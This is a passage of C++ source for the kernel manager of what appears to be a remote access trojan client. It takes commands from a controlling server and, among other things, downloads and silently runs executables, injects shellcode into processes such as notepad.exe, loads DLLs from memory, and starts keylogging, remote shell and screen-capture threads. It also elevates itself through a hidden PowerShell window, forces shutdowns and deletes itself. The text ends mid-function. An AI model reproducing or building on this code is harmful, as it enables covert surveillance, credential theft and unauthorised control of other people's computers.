// KernelManager.cpp: implementation of the CKernelManager class. // ////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include "KernelManager.h" #include "Common.h" #include #include #include #include #include "ClientDll.h" #include "MemoryModule.h" #include "common/dllRunner.h" #include "server/2015Remote/pwd_gen.h" #include "IOCPUDPClient.h" #include "IOCPKCPClient.h" #include "auto_start.h" #include "ShellcodeInj.h" #include "KeyboardManager.h" #include "common/file_upload.h" #include "common/DateVerify.h" #include "common/LANChecker.h" extern "C" { #include "ServiceWrapper.h" } #pragma comment(lib, "urlmon.lib") int CKernelManager::g_IsAppExit = FALSE; // UDP 协议仅能针对小包数据,且数据没有时序关联 IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect) { if (conn->protoType == PROTO_HTTPS) return NULL; int type = conn->protoType == PROTO_RANDOM ? time(nullptr) % PROTO_RANDOM : conn->protoType; if (!conn->IsVerified() || type == PROTO_TCP) return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn, publicIP); if (type == PROTO_UDP) return new IOCPUDPClient(bExit, exit_while_disconnect); if (type == PROTO_HTTP || type == PROTO_HTTPS) return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn, publicIP); if (type == PROTO_KCP) { return new IOCPKCPClient(bExit, exit_while_disconnect); } return NULL; } ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string &publicIP) { ThreadInfo *tKeyboard = new ThreadInfo(); tKeyboard->run = FOREVER_RUN; tKeyboard->p = new IOCPClient(bExit, false, MaskTypeNone, conn, publicIP); tKeyboard->conn = conn; tKeyboard->h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, tKeyboard, 0, NULL); return tKeyboard; } ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s) : m_conn(conn), m_hInstance(hInstance), CManager(ClientObject), g_bExit(s) { m_ulThreadCount = 0; #ifdef _DEBUG m_settings = { 5 }; #else m_settings = { 0 }; #endif m_nNetPing = {}; m_hKeyboard = kb; // C2C 初始化 if (conn) m_MyClientID = conn->clientID; } BOOL IsThreadsRunning(ThreadInfo* threads, int count) { for (int i = 0; i < count; ++i) { if (threads[i].p) { return TRUE; } } return FALSE; } CKernelManager::~CKernelManager() { Mprintf("~CKernelManager begin\n"); HANDLE hList[MAX_THREADNUM] = {}; for (int i=0; i class DllExecParam { public: T *info; PluginParam param; BYTE* buffer; CManager* manager; DllExecParam(const T& dll, const PluginParam& arg, BYTE* data, CManager* m) : info(new T()), param(arg), manager(m) { buffer = new BYTE[dll.Size]; memcpy(buffer, data, dll.Size); memcpy(info, &dll, sizeof(dll)); } ~DllExecParam() { SAFE_DELETE_ARRAY(buffer); SAFE_DELETE(info); } }; class MemoryDllRunner : public DllRunner { protected: HMEMORYMODULE m_mod; public: MemoryDllRunner() : m_mod(nullptr) {} virtual void* LoadLibraryA(const char* data, int size) { return (m_mod = ::MemoryLoadLibrary(data, size)); } virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) { return ::MemoryGetProcAddress((HMEMORYMODULE)mod, lpProcName); } virtual BOOL FreeLibrary(void* mod) { ::MemoryFreeLibrary((HMEMORYMODULE)mod); return TRUE; } }; typedef int (*RunSimpleTcpFunc)( const char* privilegeKey, long timestamp, const char* serverAddr, int serverPort, int localPort, int remotePort, int* statusPtr ); typedef int (*RunSimpleTcpWithTokenFunc)( const char* token, const char* serverAddr, int serverPort, int localPort, int remotePort, int* statusPtr ); DWORD WINAPI ExecuteDLLProc(LPVOID param) { DllExecParam<>* dll = (DllExecParam<>*)param; DllExecuteInfo info = *(dll->info); PluginParam pThread = dll->param; CManager* This = dll->manager; #if _DEBUG WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name); DllRunner* runner = new DefaultDllRunner(info.Name); #else DllRunner* runner = new MemoryDllRunner(); #endif if (info.RunType == MEMORYDLL) { HMEMORYMODULE module = runner->LoadLibraryA((char*)dll->buffer, info.Size); switch (info.CallType) { case CALLTYPE_DEFAULT: while (S_CLIENT_EXIT != *pThread.Exit) Sleep(1000); break; case CALLTYPE_IOCPTHREAD: { PTHREAD_START_ROUTINE proc = module ? (PTHREAD_START_ROUTINE)runner->GetProcAddress(module, "run") : NULL; Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); if (proc) { proc(&pThread); } else { while (S_CLIENT_EXIT != *pThread.Exit) Sleep(1000); } break; } case CALLTYPE_FRPC_CALL: { RunSimpleTcpFunc proc = module ? (RunSimpleTcpFunc)runner->GetProcAddress(module, "RunSimpleTcp") : NULL; char* user = (char*)dll->param.User; FrpcParam* f = (FrpcParam*)user; if (proc) { Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); int r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort, &CKernelManager::g_IsAppExit); if (r) { char buf[100]; sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r); Mprintf("%s\n", buf); ClientMsg msg("代理端口", buf); This->SendData((LPBYTE)&msg, sizeof(msg)); } } SAFE_DELETE_ARRAY(user); break; } case CALLTYPE_FRPC_STDCALL: { RunSimpleTcpWithTokenFunc proc = module ? (RunSimpleTcpWithTokenFunc)runner->GetProcAddress(module, "RunSimpleTcpWithToken") : NULL; char* user = (char*)dll->param.User; FrpcParam* f = (FrpcParam*)user; if (proc) { Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); int r = proc(f->privilegeKey, f->serverAddr, f->serverPort, f->localPort, f->remotePort, &CKernelManager::g_IsAppExit); if (r) { char buf[100]; sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r); Mprintf("%s\n", buf); ClientMsg msg("代理端口", buf); This->SendData((LPBYTE)&msg, sizeof(msg)); } } SAFE_DELETE_ARRAY(user); break; } default: break; } if (info.CallType != CALLTYPE_FRPC_CALL && info.CallType != CALLTYPE_FRPC_STDCALL) runner->FreeLibrary(module); } else if (info.RunType == SHELLCODE) { bool flag = info.CallType == CALLTYPE_IOCPTHREAD; ShellcodeInj inj(dll->buffer, info.Size, flag ? "run" : 0, flag ? &pThread : 0, flag ? sizeof(PluginParam) : 0); if (info.Pid < 0) info.Pid = GetCurrentProcessId(); int ret = info.Pid ? inj.InjectProcess(info.Pid) : inj.InjectProcess("notepad.exe", true); char buf[256]; sprintf_s(buf, "Inject %s to process [%d] %s", info.Name, info.Pid ? info.Pid : ret, ret ? "succeed" : "failed"); Mprintf("%s\n", buf); ClientMsg msg("代码注入", buf); This->SendData((LPBYTE)&msg, sizeof(msg)); } SAFE_DELETE(dll); SAFE_DELETE(runner); return 0x20250529; } DWORD WINAPI SendKeyboardRecord(LPVOID lParam) { CKeyboardManager1* pMgr = (CKeyboardManager1*)lParam; if (pMgr) { pMgr->Reconnect(); pMgr->Notify(); } return 0xDead0001; } // 判断 PowerShell 版本是否 >= 3.0 bool IsPowerShellAvailable() { // 设置启动信息 STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; // 隐藏窗口 // 创建匿名管道以捕获 PowerShell 输出 SECURITY_ATTRIBUTES sa = { sizeof(sa) }; sa.bInheritHandle = TRUE; // 管道句柄可继承 HANDLE hReadPipe, hWritePipe; if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) { Mprintf("CreatePipe failed. Error: %d\n", GetLastError()); return false; } // 设置标准输出和错误输出到管道 si.hStdOutput = hWritePipe; si.hStdError = hWritePipe; si.dwFlags |= STARTF_USESTDHANDLES; // 构造 PowerShell 命令 std::string command = "powershell -Command \"$PSVersionTable.PSVersion.Major\""; // 创建 PowerShell 进程 if (!CreateProcess( nullptr, // 不指定模块名(使用命令行) (LPSTR)command.c_str(), // 命令行参数 nullptr, // 进程句柄不可继承 nullptr, // 线程句柄不可继承 TRUE, // 继承句柄 CREATE_NO_WINDOW, // 不显示窗口 nullptr, // 使用父进程环境块 nullptr, // 使用父进程工作目录 &si, // 启动信息 &pi // 进程信息 )) { Mprintf("CreateProcess failed. Error: %d\n", GetLastError()); SAFE_CLOSE_HANDLE(hReadPipe); SAFE_CLOSE_HANDLE(hWritePipe); return false; } // 关闭管道的写端 SAFE_CLOSE_HANDLE(hWritePipe); // 读取 PowerShell 输出 std::string result; char buffer[128]; DWORD bytesRead; while (ReadFile(hReadPipe, buffer, sizeof(buffer) - 1, &bytesRead, nullptr) && bytesRead > 0) { buffer[bytesRead] = '\0'; result += buffer; } // 关闭管道的读端 SAFE_CLOSE_HANDLE(hReadPipe); // 等待进程结束 WaitForSingleObject(pi.hProcess, INFINITE); // 获取退出代码 DWORD exitCode=0; if (!GetExitCodeProcess(pi.hProcess, &exitCode)) { Mprintf("GetExitCodeProcess failed. Error: %d\n", GetLastError()); SAFE_CLOSE_HANDLE(pi.hProcess); SAFE_CLOSE_HANDLE(pi.hThread); return false; } // 关闭进程和线程句柄 SAFE_CLOSE_HANDLE(pi.hProcess); SAFE_CLOSE_HANDLE(pi.hThread); // 解析返回的版本号 if (exitCode == 0) { try { int version = std::stoi(result); Mprintf("PowerShell version: %d\n", version); return version >= 3; } catch (...) { Mprintf("Failed to parse PowerShell version.\n"); return false; } } else { Mprintf("PowerShell command failed with exit code: %d\n", exitCode); return false; } } /* Windows 10/11: 👉 放心使用,可以直接运行 Windows 7: 如果 PowerShell 版本 >= 3.0,可以运行; 否则无法以管理员权限重启 */ bool StartAdminLauncherAndExit(const char* exePath, bool admin = true) { // 获取当前进程 ID DWORD currentPID = GetCurrentProcessId(); // 构造 PowerShell 命令,等待当前进程退出后以管理员权限启动 std::string launcherCmd = "powershell -Command \"Start-Sleep -Seconds 1; " // 等待 1 秒,确保当前进程退出 "while (Get-Process -Id " + std::to_string(currentPID) + " -ErrorAction SilentlyContinue) { Start-Sleep -Milliseconds 500 }; " "Start-Process -FilePath '" + std::string(exePath); launcherCmd += admin ? "' -Verb RunAs\"" : "' \""; // 以管理员权限启动目标进程 // 启动隐藏的 cmd 进程 STARTUPINFO si = { sizeof(si) }; si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_HIDE; // 隐藏窗口 PROCESS_INFORMATION pi = {}; Mprintf("Run: %s\n", launcherCmd.c_str()); if (CreateProcessA(NULL, (LPSTR)launcherCmd.c_str(), NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { Mprintf("CreateProcess to start launcher process [%d].\n", pi.dwProcessId); SAFE_CLOSE_HANDLE(pi.hProcess); SAFE_CLOSE_HANDLE(pi.hThread); return true; } Mprintf("Failed to start launcher process.\n"); return false; } BOOL IsRunningAsAdmin() { BOOL isAdmin = FALSE; PSID administratorsGroup = NULL; SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &administratorsGroup)) { if (!CheckTokenMembership(NULL, administratorsGroup, &isAdmin)) { isAdmin = FALSE; } FreeSid(administratorsGroup); } return isAdmin; } bool EnableShutdownPrivilege() { HANDLE hToken; TOKEN_PRIVILEGES tkp; // 打开当前进程的令牌 if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { return false; } // 获取关机权限的 LUID if (!LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid)) { SAFE_CLOSE_HANDLE(hToken); return false; } tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // 启用关机权限 if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0)) { SAFE_CLOSE_HANDLE(hToken); return false; } SAFE_CLOSE_HANDLE(hToken); return true; } class CDownloadCallback : public IBindStatusCallback { private: DWORD m_startTime; DWORD m_timeout; // 毫秒 public: CDownloadCallback(DWORD timeoutMs) : m_timeout(timeoutMs) { m_startTime = GetTickCount(); } HRESULT STDMETHODCALLTYPE OnProgress(ULONG ulProgress, ULONG ulProgressMax, ULONG ulStatusCode, LPCWSTR szStatusText) override { // 超时检查 if (GetTickCount() - m_startTime > m_timeout) { return E_ABORT; // 取消下载 } return S_OK; } // 其他接口方法返回默认值 HRESULT STDMETHODCALLTYPE OnStartBinding(DWORD, IBinding*) override { return S_OK; } HRESULT STDMETHODCALLTYPE GetPriority(LONG*) override { return S_OK; } HRESULT STDMETHODCALLTYPE OnLowResource(DWORD) override { return S_OK; } HRESULT STDMETHODCALLTYPE OnStopBinding(HRESULT, LPCWSTR) override { return S_OK; } HRESULT STDMETHODCALLTYPE GetBindInfo(DWORD*, BINDINFO*) override { return S_OK; } HRESULT STDMETHODCALLTYPE OnDataAvailable(DWORD, DWORD, FORMATETC*, STGMEDIUM*) override { return S_OK; } HRESULT STDMETHODCALLTYPE OnObjectAvailable(REFIID, IUnknown*) override { return S_OK; } // IUnknown ULONG STDMETHODCALLTYPE AddRef() override { return 1; } ULONG STDMETHODCALLTYPE Release() override { return 1; } HRESULT STDMETHODCALLTYPE QueryInterface(REFIID riid, void** ppv) override { if (riid == IID_IBindStatusCallback || riid == IID_IUnknown) { *ppv = this; return S_OK; } return E_NOINTERFACE; } }; void DownExecute(const std::string &strUrl, CManager *This) { // 临时路径 char szTempPath[MAX_PATH], szSavePath[MAX_PATH]; GetTempPathA(MAX_PATH, szTempPath); srand(GetTickCount64()); sprintf_s(szSavePath, "%sDownload_%d.exe", szTempPath, rand() % 10086); // 下载并运行 const int timeoutMs = 30 * 1000; CDownloadCallback callback(timeoutMs); if (S_OK == URLDownloadToFileA(NULL, strUrl.c_str(), szSavePath, 0, &callback)) { ShellExecuteA(NULL, "open", szSavePath, NULL, NULL, SW_HIDE); Mprintf("Download Exec Success: %s\n", strUrl.c_str()); char buf[100]; sprintf_s(buf, "Client %llu download exec succeed", This->GetClientID()); ClientMsg msg("执行成功", buf); This->SendData(LPBYTE(&msg), sizeof(msg)); } else { Mprintf("Download Exec Failed: %s\n", strUrl.c_str()); char buf[100]; sprintf_s(buf, "Client %llu download exec failed", This->GetClientID()); ClientMsg msg("执行失败", buf); This->SendData(LPBYTE(&msg), sizeof(msg)); } } #include "common/location.h" std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& masterHash) { config* m_iniFile = nullptr; #ifdef _DEBUG m_iniFile = pwdHash == masterHash ? new config : new iniFile; #else m_iniFile = new iniFile; #endif int bindType = m_iniFile->GetInt("settings", "BindType", 0); int hwVersion = m_iniFile->GetInt("settings", "HWIDVersion", 0); std::string master = m_iniFile->GetStr("settings", "master"); SAFE_DELETE(m_iniFile); switch (bindType) { case 0: // Check HWIDVersion: 2 = V2 (with UUID+MachineGuid), else V1 return hwVersion == 2 ? getHardwareID_V2() : getHardwareID(); case 1: { if (!master.empty()) { return master; } IPConverter cvt; return cvt.getPublicIP(); } } return ""; } template BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user) { static std::map> m_MemDLL; const int sz = 1 + sizeof(T); if (ulLength < sz) return FALSE; const T* info = (T*)(szBuffer + 1); const char* md5 = info->Md5; auto find = m_MemDLL.find(md5); if (find == m_MemDLL.end() && ulLength == sz) { iniFile cfg(CLIENT_PATH); auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5")); if (md5.empty() || md5 != info->Md5 || !This->m_conn->IsVerified()) { // 第一个命令没有包含DLL数据,需客户端检测本地是否已经有相关DLL,没有则向主控请求执行代码 This->m_ClientObject->Send2Server((char*)szBuffer, ulLength); return TRUE; } Mprintf("Execute local DLL from registry: %s\n", md5.c_str()); binFile bin(CLIENT_PATH); auto local = bin.GetStr("settings", info->Name + std::string(".bin")); const BYTE* bytes = reinterpret_cast(local.data()); m_MemDLL[md5] = std::vector(bytes + sz, bytes + sz + info->Size); find = m_MemDLL.find(md5); } BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL; if (info->Size == ulLength - sz) { if (md5[0]) { m_MemDLL[md5] = std::vector(szBuffer + sz, szBuffer + sz + info->Size); iniFile cfg(CLIENT_PATH); cfg.SetStr("settings", info->Name + std::string(".md5"), md5); binFile bin(CLIENT_PATH); std::string buffer(reinterpret_cast(szBuffer), ulLength); bin.SetStr("settings", info->Name + std::string(".bin"), buffer); Mprintf("Save DLL to registry: %s\n", md5); } data = szBuffer + sz; } if (data) { PluginParam param(This->m_conn->ServerIP(), This->m_conn->ServerPort(), &This->g_bExit, user); CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data, This), 0, NULL)); Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size); } return data != NULL; } VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; if ((m_ulThreadCount = GetAvailableIndex()) == -1 && !isExit) { return Mprintf("CKernelManager: The number of threads exceeds the limit.\n"); } else if (!isExit) { m_hThread[m_ulThreadCount].p = nullptr; m_hThread[m_ulThreadCount].conn = m_conn; } std::string publicIP = m_ClientObject->GetClientIP(); switch (szBuffer[0]) { case CMD_SET_GROUP: { std::string group = std::string((char*)szBuffer + 1); iniFile cfg(CLIENT_PATH); cfg.SetStr("settings", "group_name", group); break; } case COMMAND_DOWN_EXEC: { std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach(); break; } case COMMAND_UPLOAD_EXEC: { if (ulLength < 5) break; DWORD dwFileSize = *(DWORD*)(szBuffer + 1); if (dwFileSize == 0 || ulLength < (5 + dwFileSize)) break; BYTE* pFileData = szBuffer + 5; char szTempPath[MAX_PATH], szSavePath[MAX_PATH]; GetTempPathA(MAX_PATH, szTempPath); srand(GetTickCount64()); sprintf_s(szSavePath, "%sUpload_%d.exe", szTempPath, rand() % 10086); FILE* fp = fopen(szSavePath, "wb"); if (fp) { fwrite(pFileData, 1, dwFileSize, fp); fclose(fp); ShellExecuteA(NULL, "open", szSavePath, NULL, NULL, SW_HIDE); Mprintf("Upload Exec Success: %s [%d bytes]\n", szSavePath, dwFileSize); } char buf[100]; sprintf_s(buf, "Client %llu upload exec %s", m_conn->clientID, fp ? "succeed" : "failed"); ClientMsg msg(fp ? "执行成功" : "执行失败", buf); SendData(LPBYTE(&msg), sizeof(msg)); break; } case TOKEN_MACHINE_MANAGE: if (ulLength <= 1 || !EnableShutdownPrivilege()) break; #ifdef _DEBUG Mprintf("收到机器管理命令: %d, %d\n", szBuffer[0], szBuffer[1]); break; #endif switch (szBuffer[1]) { case MACHINE_LOGOUT: { ExitWindowsEx(EWX_LOGOFF | EWX_FORCE, 0); break; } case MACHINE_SHUTDOWN: { ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0); break; } case MACHINE_REBOOT: { ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0); break; } default: break; } case CMD_RUNASADMIN: { char curFile[_MAX_PATH] = {}; GetModuleFileName(NULL, curFile, MAX_PATH); if (!IsRunningAsAdmin()) { if (IsPowerShellAvailable() && StartAdminLauncherAndExit(curFile)) { g_bExit = S_CLIENT_EXIT; // 强制退出当前进程,并稍后以管理员权限运行 Mprintf("CKernelManager: [%s] Restart with administrator privileges.\n", curFile); Sleep(1000); TerminateProcess(GetCurrentProcess(), 0xABCDEF); } Mprintf("CKernelManager: [%s] Restart with administrator privileges FAILED.\n", curFile); break; } Mprintf("CKernelManager: [%s] Running with administrator privileges.\n", curFile); break; } case CMD_AUTHORIZATION: { HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE"); hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE"); #ifndef _DEBUG if (hMutex == NULL) { // 没有互斥量,主程序可能未运行 Mprintf("!!! [WARN] Master program is not running.\n"); } #endif SAFE_CLOSE_HANDLE(hMutex); // 扩大到 400 字节以容纳 V2 签名(约 92 字节)和 Authorization(约 150 字节) char buf[400] = {}, *passCode = buf + 5; memcpy(buf, szBuffer, min(sizeof(buf), ulLength)); std::string masterHash(skCrypt(MASTER_HASH)); const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str(); if (passCode[0] == 0) { static std::string hardwareId = getHardwareIDByCfg(pwdHash, masterHash); static std::string hashedID = hashSHA256(hardwareId); static std::string devId = getFixedLengthID(hashedID); memcpy(buf + 24, buf + 12, 8); // 消息签名 memcpy(buf + 96, buf + 8, 4); // 时间戳 memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节 memcpy(buf + 32, pwdHash, 64); // 64字节 m_ClientObject->Send2Server((char*)buf, sizeof(buf)); Mprintf("Request for authorization update.\n"); } else { unsigned short* days = (unsigned short*)(buf + 1); unsigned short* num = (unsigned short*)(buf + 3); config* cfg = IsDebug ? new config : new iniFile; cfg->SetStr("settings", "Password", *days <= 0 ? "" : passCode); cfg->SetStr("settings", "PwdHmac", *days <= 0 ? "" : buf + 64); // 解析 Authorization(在 hmac 的 null 终止符之后) const char* hmacStr = buf + 64; size_t hmacLen = strlen(hmacStr); const char* authStr = hmacStr + hmacLen + 1; // hmac 后的 null 终止符之后 if (authStr < buf + sizeof(buf) && authStr[0] != 0) { cfg->SetStr("settings", "Authorization", authStr); Mprintf("Update authorization: %s, PwdHmac: %s, Auth: %s\n", passCode, hmacStr, authStr); } else { Mprintf("Update authorization: %s, PwdHmac: %s\n", passCode, hmacStr); } delete cfg; g_bExit = S_SERVER_EXIT; } break; } case CMD_EXECUTE_DLL: { if (!ExecDLL(this, szBuffer, ulLength, m_conn)) { Mprintf("CKernelManager ExecDLL failed: %d bytes\n", ulLength); } break; } case CMD_EXECUTE_DLL_NEW: { if (sizeof(szBuffer) == 4) { Mprintf("CKernelManager ExecDLL failed: NOT x64 client\n"); break; } DllExecuteInfoNew* info = ulLength > sizeof(DllExecuteInfoNew) ? (DllExecuteInfoNew*)(szBuffer + 1) : 0; char* user = info ? new char[400] : 0; if (user == NULL) break;; if (info) memcpy(user, info->Parameters, 400); if (!ExecDLL(this, szBuffer, ulLength, user)) { Mprintf("CKernelManager ExecDLL failed: received %d bytes\n", ulLength); } break; } case TOKEN_PRIVATESCREEN: { char h[100] = {}; memcpy(h, szBuffer + 1, min(ulLength - 1, 80)); std::string hash = std::string(h, h + 64); std::string hmac = std::string(h + 64, h + 80); // 提取位图数据(如果有) std::vector bmpData; if (ulLength > 85) { // 1 + 64 + 16 + 4 = 85 DWORD bmpSize = 0; memcpy(&bmpSize, szBuffer + 81, 4); if (bmpSize > 0 && bmpSize <= ulLength - 85) { bmpData.resize(bmpSize); memcpy(bmpData.data(), szBuffer + 85, bmpSize); } } std::thread t(private_desktop, m_conn, g_bExit, m_LoginMsg, m_LoginSignature, hash, hmac, std::move(bmpData)); t.detach(); break; } case COMMAND_PROXY: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SHARE: case COMMAND_ASSIGN_MASTER: if (ulLength > 2) { iniFile cfg(CLIENT_PATH); switch (szBuffer[1]) { case SHARE_TYPE_YAMA_FOREVER: { auto v = StringToVector((char*)szBuffer + 2, ':', 3); if (v[0].empty() || v[1].empty()) break; auto now = time(nullptr); auto valid_to = atoi(cfg.GetStr("settings", "valid_to").c_str()); if (now <= valid_to) break; // Avoid assign again cfg.SetStr("settings", "master", v[0]); cfg.SetStr("settings", "port", v[1]); float days = atof(v[2].c_str()); if (days > 0) { auto valid_to = time(0) + days*86400; // overflow after 2038-01-19 cfg.SetStr("settings", "valid_to", std::to_string(valid_to)); } } case SHARE_TYPE_YAMA: { if (szBuffer[1] == SHARE_TYPE_YAMA) { if (!m_ClientApp->IsMainInstance()) {// 主机只能由所属主控进行分享 ClientMsg msg("分享主机", "No permission to share the client"); SendData((LPBYTE)&msg, sizeof(msg)); break; } auto v = StringToVector((char*)szBuffer + 2, ':', 3); if (v[0].empty() || v[1].empty()) break; auto share = v[0] + ":" + v[1]; auto list = cfg.GetStr("settings", "share_list"); auto shareList = list.empty() ? std::vector{} : StringToVector(list, '|'); if (VectorContains(shareList, share)) break; shareList.push_back(share); cfg.SetStr("settings", "share_list", VectorJoin(shareList, '|')); Mprintf("Share client to new master: %s\n", share.c_str()); } auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE); if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0)); break; } case SHARE_TYPE_HOLDINGHANDS: break; } } break; case COMMAND_SHARE_CANCEL: { if (m_ClientApp->IsMainInstance()) { iniFile cfg(CLIENT_PATH); cfg.SetStr("settings", "share_list", ""); } ClientMsg msg("分享主机", m_ClientApp->IsMainInstance() ? "Cancel sharing and next run to take effort" : "No permission to cancel sharing"); SendData((LPBYTE)&msg, sizeof(msg)); break; } case CMD_HEARTBEAT_ACK: OnHeatbeatResponse(szBuffer, ulLength); break; case CMD_MASTERSETTING: if (ulLength > MasterSettingsOldSize) { memcpy(&m_settings, szBuffer + 1, ulLength > sizeof(MasterSettings) ? sizeof(MasterSettings) : MasterSettingsOldSize); if (m_settings.Signature[0] && m_LoginSignature.empty()) { m_LoginSignature = std::string(m_settings.Signature, m_settings.Signature + 64); bool verifyMessage(const std::string & publicKey, BYTE * msg, int len, const std::string & signature); bool verified = verifyMessage("", (BYTE*)m_LoginMsg.data(), m_LoginMsg.length(), m_LoginSignature); Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds. Verified: %s\n", ulLength - 1, m_settings.ReportInterval, verified ? "success" : "failed"); } else { Mprintf("收到主控配置信息 %dbytes: 上报间隔 %ds.\n", ulLength - 1, m_settings.ReportInterval); } if (m_ClientApp->IsMainInstance()) { iniFile cfg(CLIENT_PATH); cfg.SetStr("settings", "wallet", m_settings.WalletAddress); } CManager* pMgr = (CManager*)m_hKeyboard->user; if (pMgr) { pMgr->UpdateWallet(m_settings.WalletAddress); } if (m_settings.EnableKBLogger && m_hKeyboard) { CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user; mgr->m_bIsOfflineRecord = TRUE; } Logger::getInstance().usingLog(m_settings.EnableLog); } if (IsAuthKernel() && (m_settings.FeedbackUrl[0] || m_settings.HelpUrl[0] || m_settings.RequestAuthUrl[0] || m_settings.GetPluginUrl[0])) { config* THIS_CFG = IsDebug ? new config : new iniFile; if (m_settings.FeedbackUrl[0])THIS_CFG->SetStr("settings", "FeedbackUrl", m_settings.FeedbackUrl); if (m_settings.HelpUrl[0])THIS_CFG->SetStr("settings", "HelpUrl", m_settings.HelpUrl); if (m_settings.RequestAuthUrl[0])THIS_CFG->SetStr("settings", "RequestAuthUrl", m_settings.RequestAuthUrl); if (m_settings.GetPluginUrl[0])THIS_CFG->SetStr("settings", "GetPluginUrl", m_settings.GetPluginUrl); delete THIS_CFG; } break; case COMMAND_KEYBOARD: { //键盘记录 if (m_hKeyboard) { CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL)); } else { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);; } break; } case COMMAND_TALK: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); m_hThread[m_ulThreadCount].user = m_hInstance; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SHELL: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SYSTEM: { //远程进程管理 m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_WSLIST: { //远程窗口管理 m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_BYE: { BYTE bToken = COMMAND_BYE;// 被控端退出 m_ClientObject->Send2Server((char*)&bToken, 1); g_bExit = S_CLIENT_EXIT; Mprintf("======> Client exit \n"); break; } case TOKEN_UNINSTALL: { BYTE bToken = COMMAND_BYE;// 被控端退出 m_ClientObject->Send2Server((char*)&bToken, 1); g_bExit = S_CLIENT_EXIT; self_del(10); Mprintf("======> Client uninstall \n"); break; } case SERVER_EXIT: { // 主控端退出 g_bExit = S_SERVER_EXIT; Mprintf("======> Server exit \n"); break; } case COMMAND_SCREEN_SPY: { UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) }; if (ulLength > 1) { memcpy(user->buffer, szBuffer + 1, 